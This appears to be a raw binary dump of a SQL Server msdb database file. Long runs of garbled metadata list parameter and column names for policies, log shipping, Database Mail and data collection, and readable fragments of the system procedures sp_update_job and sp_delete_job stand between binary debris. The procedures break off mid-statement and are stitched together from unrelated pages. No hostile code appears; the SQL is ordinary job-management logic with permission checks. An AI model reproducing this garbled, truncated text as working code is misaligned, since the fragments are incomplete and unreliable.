(@object_set6T<&@policy_id6<,@synonym_name6<.@database_name6<*@schema_name6<*@object_name6=6@mdw_database_name6=*@require_mdw6=0@force_stub_use6=.@refresh_views6::"dac_name6:::server_instance_name6::4under_utilization6::8current_utilization6::2over_utilization6s:*@object_name6s:&@role_name6;4@is_over_utilized6;6@is_under_utilized6;val6<:server_instance_name6<.smo_server_urn6<6utility_server_urn6<0powershell_path6<$policy_id6<2is_global_policy6<,resource_type6<(target_type6<	2utilization_type69*secondary_id69.primary_server692primary_database69@backup_source_directory69Jbackup_destination_directory69<file_retention_period69(copy_job_id69.restore_job_id69	.monitor_server69
Jmonitor_server_security_mode69>user_specified_monitor692last_copied_file69
2last_copied_date6ε;6secondary_database6ε;*secondary_id6ε;,restore_delay6ε;(restore_all6ε;*restore_mode6ε;2disconnect_users6ε;&block_size6ε;*buffer_count6ε;	4max_transfer_size6ε;
6last_restored_file6ε;6last_restored_dateessage6cf?6@collection_job_id6cf?.@upload_job_id6cf?*@schedule_id6cf?2@collection_mode6Z@log_id6Z@$task_name6Z@>execution_row_count_in6Z@@execution_row_count_out6Z@Fexecution_row_count_errors6Z@4execution_time_ms6Z@"log_time6l:@name6l:8@policy_category_id6l:$@new_name6`;@name6`;8@policy_category_id6`;P@mandate_database_subscriptions6T<@name6T<,@condition_id6T<0@condition_name6T<,@schedule_uid6T<2@porB.l
:^
		<
p
<		b	

	JvvNb.
XX"4`vJ$T6b6j"&
L

nH
J.Z,8n

@bh0l4@nr*f>`br)v
eM5*.6i.@category_name6i.@database_name6iB@delay_between_responses6i"@enabled6i	F@event_description_keyword6iL@include_event_description_in6i
 @job_id6i$@job_name6i(@message_id6i@name6i<@notification_message6i
>@performance_condition6i2@raise_snmp_trap6i$@severity6i,@verify_alert6i.@wmi_namespace6i&@wmi_query6Xj.@category_name6Xj.@database_name6XjB@delay_between_responses6Xj"@enabled6Xj	F@event_description_keyword6XjL@include_event_description_in6Xj
 @job_id6Xj$@job_name6Xj(@message_id6Xj@name6Xj<@notification_message6Xj
>@performance_condition6Xj2@raise_snmp_trap6Xj$@severity6Xj.@wmi_namespace6Xj&@wmi_query$k6$k$@user_sid6k@namel6l&@user_name6(l$@alert_id6(l(@alert_name6(l.@category_name6(l.@legacy_format6(l$@order_by2
m62
m.@principal_sid6Mm*@category_id6Mm
.@category_name6Mm"@enabled6Mm@name6.ֺj(@profile_id6.ֺj,@profile_name6.ֺj(@account_id6.ֺj,@account_name6.ֺj2@sequence_number6gk(@profile_id6gk,@profile_name6gk(@account_id6gk,@account_name6l(@profile_id6l,@profile_name6l(@account_id6l,@account_name6Bm0@parameter_name6Bm2@parameter_value6Bm*@description6̅j$@password6=ykname6=ykid6=yk(description6=yk&createdate6=yk"folderid6=yk"ownersid6=yk(packagedata6=yk,packageformat6=yk	(packagetype6=yk
"vermajor6=yk"verminor6=yk"verbuild6=yk
(vercomments6=ykverid6=yk(isencrypted6=yk(readrolesid6=yk*writerolesid6Pj$server_id6Pj0server_group_id6Pjname6Pj(server_name6Pj(description6Pj(server_type6"l$detail_id6"l&history_id6"l@target_query_expression6"l.execution_date6"lresult6"l,result_detail6"l4exception_message6"l$exception6[$l&@policy_id6[$l*@is_full_run6[$l(@history_id6@4m"mi_count6@4m2mi_healthy_count6@4m6mi_unhealthy_count6@4m<mi_over_utilize_count6@4m>mi_under_utilize_count6@4mVmi_on_over_utilized_computer_count6@4mXmi_on_under_utilized_computer_count6@4mhmi_with_files_on_over_utilized_volume_count6@4m	jmi_with_files_on_under_utilized_volume_count6@4m
Rmi_with_over_utilized_file_count6@4mTmi_with_under_utilized_file_count6@4m\mi_with_over_utilized_processor_count6@4m
^mi_with_under_utilized_processor_count6@4m&set_number!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!j<
4"r Nb&$JtV.
R
*

~
T				
N
&


lD"j
b4dH J(P	$	^R
8zd6
v:f `[)ffJ= ܛ69K8conversation_handle69K@message_sequence_number69K"priority69K,queuing_order69Kstatus6iM*@action_type6iM$@alert_id6iM(@error_flag6iM @job_id6iM"@op_type6iM*@schedule_id6iM.@wmi_namespace6iM&@wmi_query6ە
 @job_id6ە
$@job_name6ە
<@name_of_id_parameter6ە
@@name_of_name_parameter6ە
&@owner_sid6ە
@@sqlagent_starting_test6\&account_id6\(description6\*display_name6\,email_address6\4last_mod_datetime6\,last_mod_user6\name6\0replyto_address6.@job_id_filter6<@name_of_id_parameter6@@name_of_name_parameter60@orig_server_id6&@owner_sid6*@schedule_id6.@schedule_name6Mޅ @job_id6Mޅ,@program_name6z
*@server_name6&n @job_id6&n*@object_type6&n&@operation6&n,@schedule_uid6&n@@specific_target_server6&n@value60id60,version_build60,version_major60,version_minor602version_revision60.version_string6Jb>@performance_condition6"Udbms6"U dbms_id6"U version6e!&account_id6e!4last_mod_datetime6e!,last_mod_user6e!&profile_id6e!0sequence_number61oV@date61oV&@date_name61oV0@error_severity6jJ0@error_severity6jJ@time6jJ&@time_name6*createparams6(datatype_id6 dbms_id6type6>*@category_id69K&message_id69K0message_type_id69K	&service_id69K
8service_contract_id69K&validation69K,next_fragment69K
,fragment_size69K0fragment_bitmap69K:message_enqueue_time6N]?	&subplan_id6N]?	*subplan_name6N]?	8subplan_description6N]?	 plan_id6N]?	job_id6N]?	&msx_job_id6N]?	(schedule_id6N]?	"msx_plan6Z.task_detail_id6Z plan_id6Z&subplan_id6Z&start_time6Z"end_time6Z$succeeded6Z0logged_remotely6Z6source_server_name6Z	$plan_name6Z
*subplan_name6$S
	6@connection_string]w	6
4collection_set_id6
6collection_set_uid6
*schedule_uid6
name6
 name_id6
target6
&is_running6
"proxy_id6
	$is_system6

4collection_job_id6
,upload_job_id6
0collection_mode6

,logging_level6
(description6
.description_id6
<days_until_expiration6
4dump_on_any_error6
,dump_on_codes6H@role6H&@raiserror63m	@name63m	*@description63m	@facet63m	(@expression63m	6@is_name_condition63m	$@obj_name63m	,@condition_id6l
0@condition_name6l
,@condition_id6@name6,@condition_id6@facet6(@expression6*@description66@is_name_condition6$@obj_name6٥@name6٥,@condition_id6
@name6
,@condition_id6
$@new_name6P"6policy_category_id6P"name6P"Nmandate_database_subscriptions>6	c	(instance_id6	c	,instance_name6	c	$type_name6	c	*type_version6	c	(description6	c	(type_stream6	c	*date_created6	c	&created_by6_<M$action_id6_<M(sequence_id6_<M(instance_id6_<M(action_type6_<M2action_type_name6_<M0dac_object_type6_<M:dac_object_type_name6_<M,action_status6_<M	6action_status_name6_<M
"required6_<M@dac_object_name_pretran6_<MBdac_object_name_posttran6_<M
$sqlscript6_<M payload6_<M"comments6_<M*error_string6_<M&created_by6_<M*date_created6_<M,date_modified6QG(instance_id6QG,instance_name6QG8virtual_server_name6QG*date_created6QG&created_by6QG8agent_proxy_account6QG0cache_directory6QG2management_state6;.@instance_name6;:@virtual_server_name6;:@agent_proxy_account6;2@cache_directory!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!zZ2


f
@
$
			n	H	Lp*(		l4vTnF6
P$4X,x0LfF4f:XxDp`D06zPTB|h `:zZr<Z2
Z

F
n $nT&nDr&: 
`)gNn!6|@name6|"@plan_id6|(@subplan_id6.@credential_id62@credential_name6k@name6k<@reassign_to_operator6z&account_id6z,credential_id6z&enable_ssl6z	flags6z4last_mod_datetime6z,last_mod_user6zport6z&servername6z&servertype6z
 timeout6z@use_default_credentials6z"username64@forced_defection6!$@location6!2@msx_server_name6ޠ @job_id6u"@plan_id6u(@subplan_id6u(@start_time6u0@task_detail_id6Pi0@task_detail_id6Pi$@end_time6Pi&@succeeded6
^0@task_detail_id6
^@Line16
^@Line26
^@Line36
^@Line46
^@Line56
^*@server_name6
^&@succeeded6
^	(@start_time6
^
$@end_time6
^,@error_number6
^.@error_message6
^
"@command6L @job_id6L$@proxy_id6L(@proxy_name6@6@collection_set_id6@8@collection_set_uid6@@name6@$@new_name6@ @target6@2@collection_mode6@>@days_until_expiration6@$@proxy_id6@	(@proxy_name6@
,@schedule_uid6@.@schedule_name6@.@logging_level6@
*@description6@*@schedule_id6@:@old_collection_mode6@,@old_proxy_id6@>@old_collection_job_id6@6@old_upload_job_id6&46@collection_set_id6&4@name6&4$@new_name6&4 @target6&42@collection_mode6&4>@days_until_expiration6&4$@proxy_id6&4(@proxy_name6&4	,@schedule_uid6&4
.@schedule_name6&4.@logging_level6&4*@description6_)6@collection_set_id6_)@name6_)6@dump_on_any_error6_).@dump_on_codes6'6collector_type_uid6'name6'2parameter_schema6'8parameter_formatter6'@collection_package_name6'Hcollection_package_folderid6'
$is_system6,object_set_id60object_set_name6"facet_id6&facet_name6$is_system6ð@name6ð.@object_set_id6.@object_set_id6.@is_referenced652@object_set_name65@facet65.@object_set_id6n2@object_set_name6n.@object_set_id6`&@type_name6`*@instance_id6`.@instance_name6`,@type_version6`*@description6`*@type_stream6*@sequence_id6*@instance_id6*@action_type6.@action_status62@dac_object_type6$@required6B@dac_object_name_pretran6D@dac_object_name_posttran6	&@sqlscript6
"@payload6$@comments6,@error_string6
&@action_id6*@instance_id66@dac_instance_name6(@older_than6D8@source_instance_id6D*@instance_id6D.@instance_name6D.@database_name66xF@resource_health_policy_id6oF@resource_health_policy_id6o>@utilization_threshold6(target_type6,resource_type62utilization_type6&facet_name6.attribute_name6,operator_type6,property_name6	~(target_type6	~,resource_type6	~2utilization_type6	~&facet_name6	~.attribute_name6	~,operator_type6	~,property_name6El:server_instance_name6El,database_name6El.filegroup_name6El$policy_id6El&set_number6T0@new_set_number6H0@new_set_number6@collection_set_id6&4@name6&4$@new_name6&4 @target6&42@collection_mode6&4>@days_until_expiration6&4$@proxy_id6&4(@proxy_name6&4	,@schedule_uid6&4
.@schedule_name6&4.@logging_level6&4*@description6_)6@collection_set_id6_)@name6_)6@dump_on_any_error6_).@dump_on_codes6'6collector_type_uid6'name6'2parameter_schema6'8parameter_formatter6'4schema_collection6'@collection_package_name6'Hcollection_package_folderid6'8upload_package_name6'
$is_system6,object_set_id60obje


d
^Drv"H 6nP^6

8jZ8rF~ (

Vr
@
B&ZjpDv&N 		t


	6
N	|	jj8>Xh4,b4BnH&f<|`<(h":6vL         
            
  IF (@new_name = N'') SELECT @new_name = NULL

  -- Fill out the values for all non-supplied parameters from the existing values
  IF (@new_name                     IS NULL) SELECT @new_name                     = @x_new_name
  IF (@enabled                      IS NULL) SELECT @enabled                      = @x_enabled
  IF (@description                  IS NULL) SELECT @description                  = @x_description
  IF (@start_step_id                IS NULL) SELECT @start_step_id                = @x_start_step_id
  IF (@category_name                IS NULL) SELECT @category_name                = @x_category_name
  IF (@owner_sid                    IS NULL) SELECT @owner_sid                    = @x_owner_sid
  IF (@notify_level_eventlog        IS NULL) SELECT @notify_level_eventlog        = @x_notify_level_eventlog
  IF (@notify_level_email           IS NULL) SELECT @notify_level_email           = @x_notify_level_email
  IF (@notify_level_netsend         IS NULL) SELECT @notify_level_netsend         = @x_notify_level_netsend
  IF (@notify_level_page            IS NULL) SELECT @notify_level_page            = @x_notify_level_page
  IF (@notify_email_operator_name   IS NULL) SELECT @notify_email_operator_name   = @x_notify_email_operator_name
  IF (@notify_netsend_operator_name IS NULL) SELECT @notify_netsend_operator_name = @x_notify_netsnd_operator_name
  IF (@notify_page_operator_name    IS NULL) SELECT @notify_page_operator_name    = @x_notify_page_operator_name
  IF (@delete_level                 IS NULL) SELECT @delete_level                 = @x_delete_level

  -- If the SA is attempting to assign ownership of the job to someone else, then convert
  -- the login name to an ID
  IF (@owner_login_name = N'$(SQLAgentAccount)')  AND 
     (ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) = 1)
  BEGIN
    SELECT @owner_sid = 0xFFFFFFFF   
  END
  ELSE IF ((ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) = 1) AND (@owner_login_name IS NOT NULL))
  BEGIN
    --force case insensitive comparation for NT users
    SELECT @owner_sid = SUSER_SID(@owner_login_name, 0) -- If @owner_login_name is invalid then SUSER_SID() will return NULL
  END

  -- Only the SA can re-assign jobs
  IF ((ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) <> 1) AND (@owner_login_name IS NOT NULL))
    RAISERROR(14242, -1, -1)

  -- Ownership of a multi-server job cannot be assigned to a non-sysadmin
  IF (@owner_login_name IS NOT NULL) AND
     (EXISTS (SELECT *
              FROM msdb.dbo.sysjobs       sj,
                   msdb.dbo.sysjobservers sjs
              WHERE (sj.job_id = sjs.job_id)
                AND (sj.job_id = @job_id)
                AND (sjs.server_id <> 0)))
  BEGIN
    IF (@owner_login_name = N'$(SQLAgentAccount)') -- allow distributed jobs to be assigned to special account
    BEGIN
      SELECT @is_sysadmin = 1    
    END
    ELSE
    BEGIN
      SELECT @is_sysadmin = 0
      EXECUTE msdb.dbo.sp_sqlagent_has_server_access @login_name = @owner_login_name, @is_sysadmin_member = @is_sysadmin OUTPUT
    END

    IF (@is_sysadmin = 0)
    BEGIN
      SELECT @current_owner = dbo.SQLAGENT_SUSER_SNAME(@x_owner_sid)
      RAISERROR(14543, -1, -1, @current_owner, N'sysadmin')
      RETURN(1) -- Failure
    END
  END

  -- Turn [nullable] empty string parameters into NULLs
  IF (@description                  = N'') SELECT @description                  = NULL
  IF (@category_name                = N'') SELECT @category_name                = NULL
  IF (@notify_email_operator_name   = N'') SELECT @notify_email_operator_name   = NULL
  IF (@notify_netsend_operator_name = N'') SELECT @notify_netsend_operator_name = NULL
  IF (@notify_page_operator_name    = N'') SELECT @notify_page_operator_name    = NULL

  -- Check new values
  EXECUTE @retval = sp_verify_job @job_id,
                                  @new_name,
                                  @enabled,
                                  @start_step_id,
                                  @category_name,
                                  @owner_sid                  OUTPUT,
                                  @notify_level_eventlog,
                                  @notify_level_email         OUTPUT,
                                  @notify_level_netsend       OUTPUT,
                                  @notify_level_page          OUTPUT,
                                  @notify_email_operator_name,
                                  @notify_netsend_operator_name,
                                  @notify_page_operator_name,
                                  @delete_level,
                                  @category_id                OUTPUT,
                                  @notify_email_operator_id   OUTPUT,
                                  @notify_netsend_operator_id OUTPUT,
                                  @notify_page_operator_id    OUTPUT,
                                  NULL  
  IF (@retval <> 0)
    RETURN(1) -- Failure

  BEGIN TRANSACTION

  -- If the job is being re-assigned, modify sysjobsteps.database_user_name as necessary
  IF (@owner_login_name IS NOT NULL)
  BEGIN
    IF (EXISTS (SELECT *
                FROM msdb.dbo.sysjobsteps
                WHERE (job_id = @job_id)
                  AND (subsystem = N'TSQL')))
    BEGIN
      IF (EXISTS (SELECT *
                  FROM master.dbo.syslogins
                  WHERE (sid = @owner_sid)
                    AND (sysadmin <> 1)))
      BEGIN
        -- The job is being re-assigned to an non-SA
        UPDATE msdb.dbo.sysjobsteps
        SET database_user_name = NULL
        WHERE (job_id = @job_id)
          AND (subsystem = N'TSQL')
      END
    END
  END

  UPDATE msdb.dbo.sysjobs
  SET name                       = @new_name,
      enabled                    = @enabled,
      description                = @description,
      start_step_id              = @start_step_id,
      category_id                = @category_id,              -- Returned from sp_verify_job
      owner_sid                  = @owner_sid,
      notify_level_eventlog      = @notify_level_eventlog,
      notify_level_email         = @notify_level_email,
      notify_level_netsend       = @notify_level_netsend,
      notify_level_page          = @notify_level_page,
      notify_email_operator_id   = @notify_email_operator_id,   -- Returned from sp_verify_job
      notify_netsend_operator_id = @notify_netsend_operator_id, -- Returned from sp_verify_job
      notify_page_operator_id    = @notify_page_operator_id,    -- Returned from sp_verify_job
      delete_level               = @delete_level,
      version_number             = version_number + 1,  -- Update the job's version
      date_modified              = GETDATE()            -- Update the job's last-modified information
  WHERE (job_id = @job_id)
  SELECT @retval = @@error

  COMMIT TRANSACTION

  -- Always re-post the job if it's an auto-delete job (or if we're updating an auto-delete job
  -- to be non-auto-delete)
  IF (((SELECT delete_level
        FROM msdb.dbo.sysjobs
        WHERE (job_id = @job_id)) <> 0) OR
      ((@x_delete_level = 1) AND (@delete_level = 0)))
    EXECUTE msdb.dbo.sp_post_msx_operation 'INSERT', 'JOB', @job_id
  ELSE
  BEGIN
    -- Post the update to target servers
    IF (@automatic_post = 1)
      EXECUTE msdb.dbo.sp_post_msx_operation 'UPDATE', 'JOB', @job_id
  END

  -- Keep SQLServerAgent's cache in-sync
  -- NOTE: We only notify SQLServerAgent if we know the job has been cached and if
  --       attributes other than description or category have been changed (since
  --       SQLServerAgent doesn't cache these two)
  IF (EXISTS (SELECT *
              FROM msdb.dbo.sysjobservers
              WHERE (job_id = @job_id)
                AND (server_id = 0)
                AND (@cached_attribute_modified = 1)))
    EXECUTE msdb.dbo.sp_sqlagent_notify @op_type     = N'J',
           !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(i"~/
vSCREATE PROCEDURE sp_delete_job
  @job_id               UNIQUEIDENTIFIER = NULL, -- If provided should NOT also provide job_name
  @job_name             sysname          = NULL, -- If provided should NOT also provide job_id
  @originating_server      sysname         = NULL, -- Reserved (used by SQLAgent)
  @delete_history       BIT              = 1,    -- Reserved (used by SQLAgent)
  @delete_unused_schedule   BIT              = 1     -- For backward compatibility schedules are deleted by default if they are not 
                                        -- being used by another job. With the introduction of reusable schedules in V9 
                                        -- callers should set this to 0 so the schedule will be preserved for reuse.
AS
BEGIN
  DECLARE @current_msx_server sysname
  DECLARE @bMSX_job           BIT
  DECLARE @retval             INT
  DECLARE @local_machine_name sysname
  DECLARE @category_id        INT
  DECLARE @job_owner_sid      VARBINARY(85)
  
  SET NOCOUNT ON
  -- Remove any leading/trailing spaces from parameters
  SELECT @originating_server = UPPER(LTRIM(RTRIM(@originating_server)))

  -- Turn [nullable] empty string parameters into NULLs
  IF (@originating_server = N'') SELECT @originating_server = NULL

  -- Change server name to always reflect real servername or servername\instancename
  IF (@originating_server IS NOT NULL AND @originating_server = '(LOCAL)')
    SELECT @originating_server = UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName')))

  IF ((@job_id IS NOT NULL) OR (@job_name IS NOT NULL))
  BEGIN
    EXECUTE @retval = sp_verify_job_identifiers '@job_name',
                                                '@job_id',
                                                 @job_name OUTPUT,
                                                 @job_id   OUTPUT,
                                                 @owner_sid = @job_owner_sid OUTPUT
    IF (@retval <> 0)
      RETURN(1) -- Failure

  END

  -- We need either a job name or a server name, not both
  IF ((@job_name IS NULL)     AND (@originating_server IS NULL)) OR
     ((@job_name IS NOT NULL) AND (@originating_server IS NOT NULL))
  BEGIN
    RAISERROR(14279, -1, -1)
    RETURN(1) -- Failure
  END

  -- Get category to see if it is a misc. replication agent. @category_id will be
  -- NULL if there is no @job_id.
  select @category_id = category_id from msdb.dbo.sysjobs where job_id = @job_id

  -- If job name was given, determine if the job is from an MSX
  IF (@job_id IS NOT NULL)
  BEGIN
    SELECT @bMSX_job = CASE UPPER(originating_server)
                         WHEN UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName'))) THEN 0
                         ELSE 1
                       END
    FROM msdb.dbo.sysjobs_view
    WHERE (job_id = @job_id)
  END

  -- If server name was given, warn user if different from current MSX
  IF (@originating_server IS NOT NULL)
  BEGIN
    EXECUTE @retval = master.dbo.xp_getnetname @local_machine_name OUTPUT
    IF (@retval <> 0)
      RETURN(1) -- Failure

    IF ((@originating_server = UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName')))) OR (@originating_server = UPPER(@local_machine_name)))
      SELECT @originating_server = UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName')))

    EXECUTE master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
                                           N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                           N'MSXServerName',
                                           @current_msx_server OUTPUT,
                                           N'no_output'

    SELECT @current_msx_server = UPPER(@current_msx_server)
    -- If server name was given but it's not the current MSX, print a warning
    SELECT @current_msx_server = LTRIM(RTRIM(@current_msx_server))
    IF ((@current_msx_server IS NOT NULL) AND (@current_msx_server <> N'') AND (@originating_server <> @current_msx_server))
      RAISERROR(14224, 0, 1, @current_msx_server)
  END

  -- Check authority (only SQLServerAgent can delete a non-local job)
  IF (((@originating_server IS NOT NULL) AND (@originating_server <> UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName'))))) OR (@bMSX_job = 1)) AND
     (PROGRAM_NAME() NOT LIKE N'SQLAgent%')
  BEGIN
    RAISERROR(14274, -1, -1)
    RETURN(1) -- Failure
  END
  
  -- Check permissions beyond what's checked by the sysjobs_view
  -- SQLAgentReader and SQLAgentOperator roles that can see all jobs
  -- cannot delete jobs they do not own
  IF (@job_id IS NOT NULL)
  BEGIN
   IF (@job_owner_sid <> SUSER_SID()                     -- does not own the job
       AND (ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) <> 1)) -- is not sysadmin
   BEGIN
     RAISERROR(14525, -1, -1);
     RETURN(1) -- Failure
    END
  END

  -- Do the delete (for a specific job)
  IF (@job_id IS NOT NULL)
  BEGIN
    -- Note: This temp table is referenced by msdb.dbo.sp_delete_job_references,
    -- so it cannot be declared as a local table.
    CREATE TABLE #temp_jobs_to_delete (job_id UNIQUEIDENTIFIER NOT NULL PRIMARY KEY CLUSTERED,
                                       job_is_cached INT NOT NULL)

    DECLARE @temp_schedules_to_delete TABLE (schedule_id INT NOT NULL)  

    INSERT INTO #temp_jobs_to_delete
    SELECT job_id, (SELECT COUNT(*)
                    FROM msdb.dbo.sysjobservers
                    WHERE (job_id = @job_id)
                      AND (server_id = 0))
    FROM msdb.dbo.sysjobs_view
    WHERE (job_id = @job_id)

    -- Check if we have any work to do
    IF (NOT EXISTS (SELECT *
                    FROM #temp_jobs_to_delete))
    BEGIN
      DROP TABLE #temp_jobs_to_delete
      RETURN(0) -- Success
    END

    -- Post the delete to any target servers (need to do this BEFORE
    -- deleting the job itself, but AFTER clearing all all pending
    -- download instructions).  Note that if the job is NOT a
    -- multi-server job then sp_post_msx_operation will catch this and
    -- will do nothing. Since it will do nothing that is why we need
    -- to NOT delete any pending delete requests, because that delete
    -- request might have been for the last target server and thus
    -- this job isn't a multi-server job anymore so posting the global
    -- delete would do nothing.
    DELETE FROM msdb.dbo.sysdownloadlist
    WHERE (object_id = @job_id)
      and (operation_code != 3) -- Delete
    EXECUTE msdb.dbo.sp_post_msx_operation 'DELETE', 'JOB', @job_id


    -- Must do this before deleting the job itself since sp_sqlagent_notify does a lookup on sysjobs_view
    -- Note: Don't notify agent in this call. It is done after the transaction is committed
    --       just in case this job is in the process of deleting itself
    EXECUTE msdb.dbo.sp_delete_job_references @notify_sqlagent = 0

    -- Delete all traces of the job
    BEGIN TRANSACTION

    DECLARE @err int

   --Get the schedules to delete before deleting records from sysjobschedules
    IF(@delete_unused_schedule = 1)
    BEGIN
        --Get the list of schedules to delete
        INSERT INTO @temp_schedules_to_delete
        SELECT DISTINCT schedule_id 
        FROM   msdb.dbo.sysschedules
        WHERE (schedule_id IN 
                (SELECT schedule_id
                FROM msdb.dbo.sysjobschedules
                WHERE (job_id = @job_id)))
    END


    DELETE FROM msdb.dbo.sysjobschedules
    WHERE job_id IN (SELECT job_id FROM #temp_jobs_to_delete)
    
    DELETE FROM msdb.dbo.sysjobservers
    WHERE job_id IN (SELECT job_id FROM #temp_jobs_to_delete)

    DELETE FROM msdb.dbo.sysjobsteps
    WHERE job_id IN (SELECT job_id FROM #temp_jobs_to_delete)

    DELETE FROM msdb.dbo.sysjobs
    WHERE job_id IN (SELECT job_id FROM #temp_jobs_to_delete)
    SELECT @err = @@ERROR
 
    IF @err <> 0
    BEGIN
    ROLLBACK TRANSACTION
    RETURN @err
    END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<}j"~#S

    
    --Delete the schedule(s) if requested to and it isn't being used by other jobs
    IF(@delete_unused_schedule = 1)
    BEGIN
      --Now OK to delete the schedule
      DELETE FROM msdb.dbo.sysschedules
      WHERE schedule_id IN 
        (SELECT schedule_id
         FROM @temp_schedules_to_delete as sdel
         WHERE NOT EXISTS(SELECT * 
                          FROM msdb.dbo.sysjobschedules AS js
                          WHERE (js.schedule_id = sdel.schedule_id)))
    END


    -- Delete the job history if requested    
    IF (@delete_history = 1)
    BEGIN
      DELETE FROM msdb.dbo.sysjobhistory
      WHERE job_id IN (SELECT job_id FROM #temp_jobs_to_delete)
    END
    -- All done
    COMMIT TRANSACTION

    -- Now notify agent to delete the job.
    IF(EXISTS(SELECT * FROM #temp_jobs_to_delete WHERE job_is_cached > 0))
    BEGIN
      DECLARE @nt_user_name   NVARCHAR(100)
